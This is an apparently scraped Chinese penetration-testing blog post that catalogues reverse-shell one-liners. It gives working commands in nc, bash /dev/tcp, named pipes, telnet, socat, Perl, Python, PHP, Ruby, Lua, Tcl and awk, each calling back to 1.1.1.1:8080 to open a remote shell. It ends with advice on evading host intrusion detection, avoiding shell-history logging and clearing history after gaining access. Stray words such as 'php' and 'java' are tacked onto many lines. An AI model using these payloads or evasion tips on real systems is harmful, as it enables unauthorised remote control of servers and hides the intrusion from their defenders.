導讀 | 靠譜點的公司都不會將應用服務器直接對外,而是經過代理轉發或映射等方式對外,當能夠執行命令的服務器可以訪問公網(這個要看具體狀況,好比須要加載公網資源或者其餘需求)時,反連技巧就會派上用場。 |
一般,在作滲透的時候會「運氣好」,碰到某些應用上存在遠程命令執行漏洞,近來因爲java反序列化和二進制類漏洞的層出不窮,也加持着這種漏洞愈加增多。php
通常來講,靠譜點的公司都不會將應用服務器直接對外,而是經過代理轉發或映射等方式對外,當能夠執行命令的服務器可以訪問公網(這個要看具體狀況,好比須要加載公網資源或者其餘需求)時,反連技巧就會派上用場。html
反彈技巧總結:java
一、NC反彈python
Nc 1.1.1.1 8080 -e /bin/bash
二、Bash-socket反彈linux
/bin/bash -i > /dev/tcp/1.1.1.1/8080 0<&1 2>&1
三、Shell-socket反彈shell
a) exec 2>&0;0<&196; exec 196<>/dev/tcp/1.1.1.1/8080; sh <&196 >&196 2>&196 b) exec 5<>/dev/tcp/1.1.1.1/8080 cat <&5 | while read line; do $line 2>&5 >&5; done[分兩句執行]
四、文件管道-nc/telnet反彈安全
a) rm /tmp/f;mkfifo /tmp/f; cat /tmp/f|/bin/sh -i 2>&1|nc 1.1.1.1 8080 >/tmp/f b) rm /tmp/backpipe; mknod /tmp/backpipe p;/bin/bash 0</tmp/backpipe | nc 1.1.1.1 8080 1>/tmp/backpipe c) rm /tmp/backpipe; mknod /tmp/backpipe p && telnet 1.1.1.1 8080 0</tmp/backpipe | /bin/bash 1>/tmp/backpipe
五、Bash-telnet反彈ruby
telnet 1.1.1.1 8080 | /bin/bash | telnet 1.1.1.1 9090 [另外一個端口]
六、Socat反彈bash
socat tcp-connect:1.1.1.1:8080 exec:"bash -li",pty,stderr,setsid,sigint,sane
七、腳本反彈服務器
a) Perl反彈 1) perl -e 'use Socket;$i="1.1.1.1";$p=8080; socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp")); if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S"); open(STDOUT,">&S");open(STDERR,">&S"); exec("/bin/sh -i");};' 2) perl -MIO -e '$p=fork; exit,if($p); $c=new IO::Socket::INET(PeerAddr,"1.1.1.1:8080"); STDIN->fdopen($c,r); $~->fdopen($c,w);system$_ while<>;' b) Python反彈 python -c 'import socket,subprocess,os; s=socket.socket(socket.AF_INET,socket.SOCK_STREAM); s.connect(("1.1.1.1",8080)); os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2); p=subprocess.call(["/bin/sh","-i"]);' c) PHP反彈 php -r '$sock=fsockopen("1.1.1.1",8080); exec("/bin/sh -i < &3 >&3 2>&3");' d) ruby反彈 ruby -rsocket -e'f=TCPSocket.open("1.1.1.1",8080).to_i; exec sprintf("/bin/sh -i < &%d >&%d 2>&%d",f,f,f)' 2) ruby -rsocket -e 'exit if fork; c=TCPSocket.new("1.1.1.1","8080"); while(cmd=c.gets); IO.popen(cmd,"r") {|io|c.print io.read}end' e) lua反彈 lua -e "require('socket'); require('os'); t=socket.tcp(); t:connect('1.1.1.1','8080'); os.execute('/bin/sh -i < &3 >&3 2>&3');" f) tcl反彈 echo 'set s [socket 1.1.1.1 8080]; while 42 { puts -nonewline $s "shell>"; flush $s; gets $s c; set e "exec $c"; if {![catch {set r [eval $e]} err]} { puts $s $r }; flush $s; }; close $s;' | tclsh g) awk反彈 awk 'BEGIN {s = "/inet/tcp/0/1.1.1.1/8080"; while(42) { do{ printf "shell>" |& s; s |& getline c; if(c){ while ((c |& getline) > 0) print $0 |& s; close(c); } } while(c != "exit") close(s); }}' /dev/null
八、二進制程序反彈
Socket程序+命令執行,詳見metasploit。
雜談
市面上反彈shell的腳本和程序很是多,拿metasploit來講,能夠生產上百種shell,但解碼之後無非以上幾種,有趣的時候metasploit生成的不管是腳本反彈程序仍是二進制反彈程序多數都是本身實現了system_call,而不是調用系統bash或命令之類,看來作的仍是很良心的。
值得一提的是,因爲大型甲方公司都會有HIDS防禦,目前已知的HIDS,要麼修改了bash,要麼劫持glibc,要麼修改系統底層(這種可能性較低,出問題的概率大)。
當你以爲能夠反彈shell的時候必定要提早識別好環境,否則執行了一個bash –i 或nc ,頗有可能直接被hids一波帶走。
比較推薦使用shell內置反彈或腳本類的反彈shell程序,通常的hids不會記錄,很是不建議調用系統bash命令產生反彈,起碼.bash_history會妥妥把你出賣掉。
內網shell反彈不管在滲透仍是在反滲透中都是一個繞過不開的話題,關於反彈shell,其中有幾個有趣的問題:
1. 反彈shell的理解:
內網shell反彈的本質是與公網服務器創建鏈接,並能將公網服務器傳輸過來的命令執行,並將結果返回,所以反彈shell涉及兩個過程網絡創建+命令執行,這兩個過程都是衡量反彈功能的標準,網絡創建要求複雜加密(如msf: meterpreter_reverse_https等),命令執行則要求儘量繞開hids和相關記錄。
2.交互式shell:
交互式shell是shell最多見的一種,交互式shell區別非交互式shell最大的就是加載了環境變量,交互式shell的使用和在終端terminal中幾乎一致。通常來講,遠程命令執行反彈出來僅僅是實現了一個非交互式shell。從非交互式shell升級到交互式shell,一個最簡單的方式就是用python腳本 pty.spawn(「/bin/bash」)
3. 交互式shell在實際滲透過程當中未必比非交互式shell好,由於有經驗的甲方都會對環境變量、shell終端加載文件如.bashrc、bash_profile等進行安全處理,直接提高到交互式shell,觸發HIDS告警的可能性較高(固然並不是絕對)。
(Ps:若是你使用別人的工具,反彈了shell,卻不清楚是否是交互式shell,一個簡單的方法就是執行history和set命令,若是都有正常返回,那你就要小心了,你可能獲取了一個交互式shell,儘快清除history吧。)